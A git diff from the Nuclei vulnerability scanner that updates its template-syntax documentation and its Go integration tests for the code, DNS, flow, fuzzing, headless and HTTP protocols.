|
||||
|
||||
Threads to use when sending iterating over payloads
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
# Send requests using 10 concurrent threads
|
||||
threads: 10
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
@@ -2199,6 +2879,8 @@ Enum Values:
|
||||
- <code>TLSA</code>
|
||||
|
||||
- <code>ANY</code>
|
||||
|
||||
- <code>SRV</code>
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
@@ -2484,6 +3166,33 @@ Payloads support both key-values combinations where a list
|
||||
of payloads is provided, or optionally a single file can also
|
||||
be provided as payload which will be read on run-time.
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>threads</code> <i>int</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
Threads specifies number of threads to use sending requests. This enables Connection Pooling.
|
||||
|
||||
Connection: Close attribute must not be used in request while using threads flag, otherwise
|
||||
pooling will fail and engine will continue to close connections after requests.
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
```yaml
|
||||
# Send requests using 10 concurrent threads
|
||||
threads: 10
|
||||
```
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
@@ -2580,6 +3289,19 @@ read-all: false
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>stop-at-first-match</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
StopAtFirstMatch stops the execution of the requests and template as soon as a match is found.
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2892,6 +3614,19 @@ CookieReuse is an optional setting that enables cookie reuse
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>disable-cookie</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
DisableCookie is an optional setting that disables cookie reuse
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -3021,8 +3756,18 @@ Enum Values:
|
||||
|
||||
- <code>files</code>
|
||||
|
||||
- <code>waitdom</code>
|
||||
|
||||
- <code>waitfcp</code>
|
||||
|
||||
- <code>waitfmp</code>
|
||||
|
||||
- <code>waitidle</code>
|
||||
|
||||
- <code>waitload</code>
|
||||
|
||||
- <code>waitstable</code>
|
||||
|
||||
- <code>getresource</code>
|
||||
|
||||
- <code>extract</code>
|
||||
@@ -3039,6 +3784,8 @@ Enum Values:
|
||||
|
||||
- <code>waitevent</code>
|
||||
|
||||
- <code>dialog</code>
|
||||
|
||||
- <code>keyboard</code>
|
||||
|
||||
- <code>debug</code>
|
||||
@@ -3109,11 +3856,33 @@ Appears in:
|
||||
Part Definitions:
|
||||
|
||||
|
||||
- <code>type</code> - Type is the type of request made
|
||||
- <code>response</code> - JSON SSL protocol handshake details
|
||||
- <code>not_after</code> - Timestamp after which the remote cert expires
|
||||
- <code>template-id</code> - ID of the template executed
|
||||
- <code>template-info</code> - Info Block of the template executed
|
||||
- <code>template-path</code> - Path of the template executed
|
||||
- <code>host</code> - Host is the input to the template
|
||||
- <code>port</code> - Port is the port of the host
|
||||
- <code>matched</code> - Matched is the input which was matched upon
|
||||
- <code>type</code> - Type is the type of request made
|
||||
- <code>timestamp</code> - Timestamp is the time when the request was made
|
||||
- <code>response</code> - JSON SSL protocol handshake details
|
||||
- <code>cipher</code> - Cipher is the encryption algorithm used
|
||||
- <code>domains</code> - Domains are the list of domain names in the certificate
|
||||
- <code>fingerprint_hash</code> - Fingerprint hash is the unique identifier of the certificate
|
||||
- <code>ip</code> - IP is the IP address of the server
|
||||
- <code>issuer_cn</code> - Issuer CN is the common name of the certificate issuer
|
||||
- <code>issuer_dn</code> - Issuer DN is the distinguished name of the certificate issuer
|
||||
- <code>issuer_org</code> - Issuer organization is the organization of the certificate issuer
|
||||
- <code>not_after</code> - Timestamp after which the remote cert expires
|
||||
- <code>not_before</code> - Timestamp before which the certificate is not valid
|
||||
- <code>probe_status</code> - Probe status indicates if the probe was successful
|
||||
- <code>serial</code> - Serial is the serial number of the certificate
|
||||
- <code>sni</code> - SNI is the server name indication used in the handshake
|
||||
- <code>subject_an</code> - Subject AN is the list of subject alternative names
|
||||
- <code>subject_cn</code> - Subject CN is the common name of the certificate subject
|
||||
- <code>subject_dn</code> - Subject DN is the distinguished name of the certificate subject
|
||||
- <code>subject_org</code> - Subject organization is the organization of the certificate subject
|
||||
- <code>tls_connection</code> - TLS connection is the type of TLS connection used
|
||||
- <code>tls_version</code> - TLS version is the version of the TLS protocol used
|
||||
|
||||
<hr />
|
||||
|
||||
@@ -3227,6 +3996,53 @@ description: |
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>tls_version_enum</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
TLS Versions Enum - false if not specified
|
||||
Enumerates supported TLS versions
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>tls_cipher_enum</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
TLS Ciphers Enum - false if not specified
|
||||
Enumerates supported TLS ciphers
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>tls_cipher_types</code> <i>[]string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
description: |
|
||||
TLS Cipher types to enumerate
|
||||
values:
|
||||
- "insecure" (default)
|
||||
- "weak"
|
||||
- "secure"
|
||||
- "all"
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -3519,6 +4335,19 @@ Engine type
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>pre-condition</code> <i>string</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
PreCondition is a condition which is evaluated before sending the request.
|
||||
|
||||
</div>
|
||||
|
||||
<hr />
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>args</code> <i>[]string</i>
|
||||
|
||||
</div>
|
||||
|
||||
@@ -5,10 +5,11 @@ import (
|
||||
"encoding/json"
|
||||
"log"
|
||||
"os"
|
||||
"reflect"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/alecthomas/jsonschema"
|
||||
"github.com/invopop/jsonschema"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates"
|
||||
)
|
||||
@@ -32,10 +33,12 @@ func main() {
|
||||
}
|
||||
|
||||
// Generate jsonschema
|
||||
r := &jsonschema.Reflector{
|
||||
PreferYAMLSchema: true,
|
||||
YAMLEmbeddedStructs: true,
|
||||
FullyQualifyTypeNames: true,
|
||||
r := &jsonschema.Reflector{}
|
||||
r.Namer = func(r reflect.Type) string {
|
||||
if r.Kind() == reflect.Slice {
|
||||
return ""
|
||||
}
|
||||
return r.String()
|
||||
}
|
||||
jsonschemaData := r.Reflect(&templates.Template{})
|
||||
|
||||
|
||||
@@ -8,6 +8,7 @@ import (
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/kitabisa/go-ci"
|
||||
"github.com/logrusorgru/aurora"
|
||||
"github.com/pkg/errors"
|
||||
|
||||
@@ -15,9 +16,8 @@ import (
|
||||
)
|
||||
|
||||
var (
|
||||
success = aurora.Green("[✓]").String()
|
||||
failed = aurora.Red("[✘]").String()
|
||||
githubAction = os.Getenv("GH_ACTION") == "true"
|
||||
success = aurora.Green("[✓]").String()
|
||||
failed = aurora.Red("[✘]").String()
|
||||
|
||||
mainNucleiBinary = flag.String("main", "", "Main Branch Nuclei Binary")
|
||||
devNucleiBinary = flag.String("dev", "", "Dev Branch Nuclei Binary")
|
||||
@@ -45,7 +45,7 @@ func runFunctionalTests(debug bool) (error, bool) {
|
||||
|
||||
errored, failedTestCases := runTestCases(file, debug)
|
||||
|
||||
if githubAction {
|
||||
if ci.IsCI() {
|
||||
fmt.Println("::group::Failed tests with debug")
|
||||
for _, failedTestCase := range failedTestCases {
|
||||
_ = runTestCase(failedTestCase, true)
|
||||
|
||||
@@ -3,6 +3,7 @@ package main
|
||||
import (
|
||||
"errors"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
osutils "github.com/projectdiscovery/utils/os"
|
||||
@@ -12,14 +13,17 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
)
|
||||
|
||||
var isCodeDisabled = func() bool { return osutils.IsWindows() && os.Getenv("CI") == "true" }
|
||||
|
||||
var codeTestCases = []TestCaseInfo{
|
||||
{Path: "protocols/code/py-snippet.yaml", TestCase: &codeSnippet{}},
|
||||
{Path: "protocols/code/py-file.yaml", TestCase: &codeFile{}},
|
||||
{Path: "protocols/code/py-env-var.yaml", TestCase: &codeEnvVar{}},
|
||||
{Path: "protocols/code/unsigned.yaml", TestCase: &unsignedCode{}},
|
||||
{Path: "protocols/code/py-nosig.yaml", TestCase: &codePyNoSig{}},
|
||||
{Path: "protocols/code/py-interactsh.yaml", TestCase: &codeSnippet{}},
|
||||
{Path: "protocols/code/ps1-snippet.yaml", TestCase: &codeSnippet{}, DisableOn: func() bool { return !osutils.IsWindows() }},
|
||||
{Path: "protocols/code/py-snippet.yaml", TestCase: &codeSnippet{}, DisableOn: isCodeDisabled},
|
||||
{Path: "protocols/code/py-file.yaml", TestCase: &codeFile{}, DisableOn: isCodeDisabled},
|
||||
{Path: "protocols/code/py-env-var.yaml", TestCase: &codeEnvVar{}, DisableOn: isCodeDisabled},
|
||||
{Path: "protocols/code/unsigned.yaml", TestCase: &unsignedCode{}, DisableOn: isCodeDisabled},
|
||||
{Path: "protocols/code/py-nosig.yaml", TestCase: &codePyNoSig{}, DisableOn: isCodeDisabled},
|
||||
{Path: "protocols/code/py-interactsh.yaml", TestCase: &codeSnippet{}, DisableOn: isCodeDisabled},
|
||||
{Path: "protocols/code/ps1-snippet.yaml", TestCase: &codeSnippet{}, DisableOn: func() bool { return !osutils.IsWindows() || isCodeDisabled() }},
|
||||
{Path: "protocols/code/pre-condition.yaml", TestCase: &codePreCondition{}, DisableOn: isCodeDisabled},
|
||||
}
|
||||
|
||||
const (
|
||||
@@ -30,6 +34,10 @@ const (
|
||||
var testcertpath = ""
|
||||
|
||||
func init() {
|
||||
if isCodeDisabled() {
|
||||
// skip executing code protocol in CI on windows
|
||||
return
|
||||
}
|
||||
// allow local file access to load content of file references in template
|
||||
// in order to sign them for testing purposes
|
||||
templates.TemplateSignerLFA()
|
||||
@@ -80,18 +88,34 @@ type codeSnippet struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *codeSnippet) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input")
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input", "-code")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type codePreCondition struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *codePreCondition) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input", "-code", "-esc")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if osutils.IsLinux() {
|
||||
return expectResultsCount(results, 1)
|
||||
} else {
|
||||
return expectResultsCount(results, 0)
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
type codeFile struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *codeFile) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input")
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input", "-code")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -102,7 +126,7 @@ type codeEnvVar struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *codeEnvVar) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input", "-V", "baz=baz")
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input", "-V", "baz=baz", "-code")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -113,7 +137,7 @@ type unsignedCode struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *unsignedCode) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input")
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input", "-code")
|
||||
|
||||
// should error out
|
||||
if err != nil {
|
||||
@@ -128,7 +152,7 @@ type codePyNoSig struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *codePyNoSig) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input")
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input", "-code")
|
||||
|
||||
// should error out
|
||||
if err != nil {
|
||||
|
||||
@@ -5,7 +5,12 @@ import (
|
||||
)
|
||||
|
||||
var dnsTestCases = []TestCaseInfo{
|
||||
{Path: "protocols/dns/basic.yaml", TestCase: &dnsBasic{}},
|
||||
{Path: "protocols/dns/a.yaml", TestCase: &dnsBasic{}},
|
||||
{Path: "protocols/dns/aaaa.yaml", TestCase: &dnsBasic{}},
|
||||
{Path: "protocols/dns/cname.yaml", TestCase: &dnsBasic{}},
|
||||
{Path: "protocols/dns/srv.yaml", TestCase: &dnsBasic{}},
|
||||
{Path: "protocols/dns/ns.yaml", TestCase: &dnsBasic{}},
|
||||
{Path: "protocols/dns/txt.yaml", TestCase: &dnsBasic{}},
|
||||
{Path: "protocols/dns/ptr.yaml", TestCase: &dnsPtr{}},
|
||||
{Path: "protocols/dns/caa.yaml", TestCase: &dnsCAA{}},
|
||||
{Path: "protocols/dns/tlsa.yaml", TestCase: &dnsTLSA{}},
|
||||
|
||||
@@ -15,7 +15,7 @@ type fileWithOrMatcher struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *fileWithOrMatcher) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "protocols/file/data/", debug)
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "protocols/file/data/", debug, "-file")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -27,7 +27,7 @@ type fileWithAndMatcher struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *fileWithAndMatcher) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "protocols/file/data/", debug)
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "protocols/file/data/", debug, "-file")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -39,7 +39,7 @@ type fileWithExtractor struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *fileWithExtractor) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "protocols/file/data/", debug)
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "protocols/file/data/", debug, "-file")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -14,17 +14,19 @@ var flowTestcases = []TestCaseInfo{
|
||||
{Path: "flow/conditional-flow.yaml", TestCase: &conditionalFlow{}},
|
||||
{Path: "flow/conditional-flow-negative.yaml", TestCase: &conditionalFlowNegative{}},
|
||||
{Path: "flow/iterate-values-flow.yaml", TestCase: &iterateValuesFlow{}},
|
||||
{Path: "flow/iterate-one-value-flow.yaml", TestCase: &iterateOneValueFlow{}},
|
||||
{Path: "flow/dns-ns-probe.yaml", TestCase: &dnsNsProbe{}},
|
||||
{Path: "flow/flow-hide-matcher.yaml", TestCase: &flowHideMatcher{}},
|
||||
}
|
||||
|
||||
type conditionalFlow struct{}
|
||||
|
||||
func (t *conditionalFlow) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "blog.projectdiscovery.io", debug)
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "cloud.projectdiscovery.io", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 2)
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type conditionalFlowNegative struct{}
|
||||
@@ -69,6 +71,16 @@ func (t *iterateValuesFlow) Execute(filePath string) error {
|
||||
return expectResultsCount(results, 2)
|
||||
}
|
||||
|
||||
type iterateOneValueFlow struct{}
|
||||
|
||||
func (t *iterateOneValueFlow) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "https://scanme.sh", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type dnsNsProbe struct{}
|
||||
|
||||
func (t *dnsNsProbe) Execute(filePath string) error {
|
||||
@@ -76,9 +88,20 @@ func (t *dnsNsProbe) Execute(filePath string) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 3)
|
||||
return expectResultsCount(results, 2)
|
||||
}
|
||||
|
||||
func getBase64(input string) string {
|
||||
return base64.StdEncoding.EncodeToString([]byte(input))
|
||||
}
|
||||
|
||||
type flowHideMatcher struct{}
|
||||
|
||||
func (t *flowHideMatcher) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "scanme.sh", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// this matcher should not return any results
|
||||
return expectResultsCount(results, 0)
|
||||
}
|
||||
@@ -12,13 +12,39 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
)
|
||||
|
||||
const (
|
||||
targetFile = "fuzz/testData/ginandjuice.proxify.yaml"
|
||||
)
|
||||
|
||||
var fuzzingTestCases = []TestCaseInfo{
|
||||
{Path: "fuzz/fuzz-mode.yaml", TestCase: &fuzzModeOverride{}},
|
||||
{Path: "fuzz/fuzz-multi-mode.yaml", TestCase: &fuzzMultipleMode{}},
|
||||
{Path: "fuzz/fuzz-type.yaml", TestCase: &fuzzTypeOverride{}},
|
||||
{Path: "fuzz/fuzz-query.yaml", TestCase: &httpFuzzQuery{}},
|
||||
{Path: "fuzz/fuzz-headless.yaml", TestCase: &HeadlessFuzzingQuery{}},
|
||||
{Path: "fuzz/fuzz-header-basic.yaml", TestCase: &FuzzHeaderBasic{}},
|
||||
{Path: "fuzz/fuzz-header-multiple.yaml", TestCase: &FuzzHeaderMultiple{}},
|
||||
// for fuzzing we should prioritize adding test case related backend
|
||||
// logic in fuzz playground server instead of adding them here
|
||||
{Path: "fuzz/fuzz-query-num-replace.yaml", TestCase: &genericFuzzTestCase{expectedResults: 2}},
|
||||
{Path: "fuzz/fuzz-host-header-injection.yaml", TestCase: &genericFuzzTestCase{expectedResults: 1}},
|
||||
{Path: "fuzz/fuzz-path-sqli.yaml", TestCase: &genericFuzzTestCase{expectedResults: 1}},
|
||||
{Path: "fuzz/fuzz-cookie-error-sqli.yaml", TestCase: &genericFuzzTestCase{expectedResults: 1}},
|
||||
{Path: "fuzz/fuzz-body-json-sqli.yaml", TestCase: &genericFuzzTestCase{expectedResults: 1}},
|
||||
{Path: "fuzz/fuzz-body-multipart-form-sqli.yaml", TestCase: &genericFuzzTestCase{expectedResults: 1}},
|
||||
{Path: "fuzz/fuzz-body-params-sqli.yaml", TestCase: &genericFuzzTestCase{expectedResults: 1}},
|
||||
{Path: "fuzz/fuzz-body-xml-sqli.yaml", TestCase: &genericFuzzTestCase{expectedResults: 1}},
|
||||
{Path: "fuzz/fuzz-body-generic-sqli.yaml", TestCase: &genericFuzzTestCase{expectedResults: 4}},
|
||||
}
|
||||
|
||||
type genericFuzzTestCase struct {
|
||||
expectedResults int
|
||||
}
|
||||
|
||||
func (g *genericFuzzTestCase) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiWithArgsAndGetResults(debug, "-t", filePath, "-l", targetFile, "-im", "yaml")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, g.expectedResults)
|
||||
}
|
||||
|
||||
type httpFuzzQuery struct{}
|
||||
@@ -34,7 +60,7 @@ func (h *httpFuzzQuery) Execute(filePath string) error {
|
||||
ts := httptest.NewTLSServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+"/?id=example", debug)
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+"/?id=example", debug, "-fuzz")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -53,7 +79,7 @@ func (h *fuzzModeOverride) Execute(filePath string) error {
|
||||
})
|
||||
ts := httptest.NewTLSServer(router)
|
||||
defer ts.Close()
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+"/?id=example&name=nuclei", debug, "-fuzzing-mode", "single", "-jsonl")
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+"/?id=example&name=nuclei", debug, "-fuzzing-mode", "single", "-jsonl", "-fuzz")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -98,7 +124,7 @@ func (h *fuzzTypeOverride) Execute(filePath string) error {
|
||||
})
|
||||
ts := httptest.NewTLSServer(router)
|
||||
defer ts.Close()
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+"?id=example", debug, "-fuzzing-type", "replace", "-jsonl")
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+"?id=example", debug, "-fuzzing-type", "replace", "-jsonl", "-fuzz")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -143,58 +169,35 @@ func (h *HeadlessFuzzingQuery) Execute(filePath string) error {
|
||||
ts := httptest.NewTLSServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
got, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+"?url=https://scanme.sh", debug, "-headless")
|
||||
got, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+"?url=https://scanme.sh", debug, "-headless", "-fuzz")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(got, 2)
|
||||
}
|
||||
|
||||
type FuzzHeaderBasic struct{}
|
||||
type fuzzMultipleMode struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *FuzzHeaderBasic) Execute(filePath string) error {
|
||||
func (h *fuzzMultipleMode) Execute(filePath string) error {
|
||||
router := httprouter.New()
|
||||
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
host := r.Header.Get("Origin")
|
||||
// redirect to different domain
|
||||
w.WriteHeader(http.StatusOK)
|
||||
fmt.Fprintf(w, "<html><body><a href="+host+">Click Here</a></body></html>")
|
||||
})
|
||||
ts := httptest.NewTLSServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
got, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(got, 1)
|
||||
}
|
||||
|
||||
type FuzzHeaderMultiple struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *FuzzHeaderMultiple) Execute(filePath string) error {
|
||||
router := httprouter.New()
|
||||
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
host1 := r.Header.Get("Origin")
|
||||
host2 := r.Header.Get("X-Forwared-For")
|
||||
|
||||
fmt.Printf("host1: %s, host2: %s\n", host1, host2)
|
||||
if host1 == host2 && host2 == "secret.local" {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
fmt.Fprintf(w, "welcome! to secret admin panel")
|
||||
xClientId := r.Header.Get("X-Client-Id")
|
||||
xSecretId := r.Header.Get("X-Secret-Id")
|
||||
if xClientId != "nuclei-v3" || xSecretId != "nuclei-v3" {
|
||||
w.WriteHeader(http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
// redirect to different domain
|
||||
w.WriteHeader(http.StatusForbidden)
|
||||
w.Header().Set("Content-Type", "text/html")
|
||||
resp := fmt.Sprintf("<html><body><h1>This is multi-mode fuzzing test: %v <h1></body></html>", xClientId)
|
||||
fmt.Fprint(w, resp)
|
||||
})
|
||||
ts := httptest.NewTLSServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
got, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)
|
||||
got, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+"?url=https://scanme.sh", debug, "-jsonl", "-fuzz")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(got, 1)
|
||||
}
|
||||
}
|
||||
@@ -12,6 +12,8 @@ import (
|
||||
|
||||
var headlessTestcases = []TestCaseInfo{
|
||||
{Path: "protocols/headless/headless-basic.yaml", TestCase: &headlessBasic{}},
|
||||
{Path: "protocols/headless/headless-waitevent.yaml", TestCase: &headlessBasic{}},
|
||||
{Path: "protocols/headless/headless-self-contained.yaml", TestCase: &headlessSelfContained{}},
|
||||
{Path: "protocols/headless/headless-header-action.yaml", TestCase: &headlessHeaderActions{}},
|
||||
{Path: "protocols/headless/headless-extract-values.yaml", TestCase: &headlessExtractValues{}},
|
||||
{Path: "protocols/headless/headless-payloads.yaml", TestCase: &headlessPayloads{}},
|
||||
@@ -41,6 +43,18 @@ func (h *headlessBasic) Execute(filePath string) error {
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type headlessSelfContained struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *headlessSelfContained) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "", debug, "-headless", "-var query=selfcontained")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type headlessLocal struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
@@ -99,7 +113,7 @@ func (h *headlessExtractValues) Execute(filePath string) error {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 3)
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type headlessPayloads struct{}
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
@@ -21,10 +20,10 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
"github.com/projectdiscovery/retryablehttp-go"
|
||||
errorutil "github.com/projectdiscovery/utils/errors"
|
||||
fileutil "github.com/projectdiscovery/utils/file"
|
||||
logutil "github.com/projectdiscovery/utils/log"
|
||||
sliceutil "github.com/projectdiscovery/utils/slice"
|
||||
stringsutil "github.com/projectdiscovery/utils/strings"
|
||||
unitutils "github.com/projectdiscovery/utils/unit"
|
||||
)
|
||||
|
||||
var httpTestcases = []TestCaseInfo{
|
||||
@@ -77,12 +76,62 @@ var httpTestcases = []TestCaseInfo{
|
||||
{Path: "protocols/http/get-without-scheme.yaml", TestCase: &httpGetWithoutScheme{}},
|
||||
{Path: "protocols/http/cl-body-without-header.yaml", TestCase: &httpCLBodyWithoutHeader{}},
|
||||
{Path: "protocols/http/cl-body-with-header.yaml", TestCase: &httpCLBodyWithHeader{}},
|
||||
{Path: "protocols/http/save-extractor-values-to-file.yaml", TestCase: &httpSaveExtractorValuesToFile{}},
|
||||
{Path: "protocols/http/cli-with-constants.yaml", TestCase: &ConstantWithCliVar{}},
|
||||
{Path: "protocols/http/matcher-status.yaml", TestCase: &matcherStatusTest{}},
|
||||
{Path: "protocols/http/disable-path-automerge.yaml", TestCase: &httpDisablePathAutomerge{}},
|
||||
{Path: "protocols/http/http-preprocessor.yaml", TestCase: &httpPreprocessor{}},
|
||||
{Path: "protocols/http/multi-request.yaml", TestCase: &httpMultiRequest{}},
|
||||
{Path: "protocols/http/http-matcher-extractor-dy-extractor.yaml", TestCase: &httpMatcherExtractorDynamicExtractor{}},
|
||||
{Path: "protocols/http/multi-http-var-sharing.yaml", TestCase: &httpMultiVarSharing{}},
|
||||
{Path: "protocols/http/raw-path-single-slash.yaml", TestCase: &httpRawPathSingleSlash{}},
|
||||
{Path: "protocols/http/raw-unsafe-path-single-slash.yaml", TestCase: &httpRawUnsafePathSingleSlash{}},
|
||||
}
|
||||
|
||||
type httpMultiVarSharing struct{}
|
||||
|
||||
func (h *httpMultiVarSharing) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "https://scanme.sh", debug)
|
||||
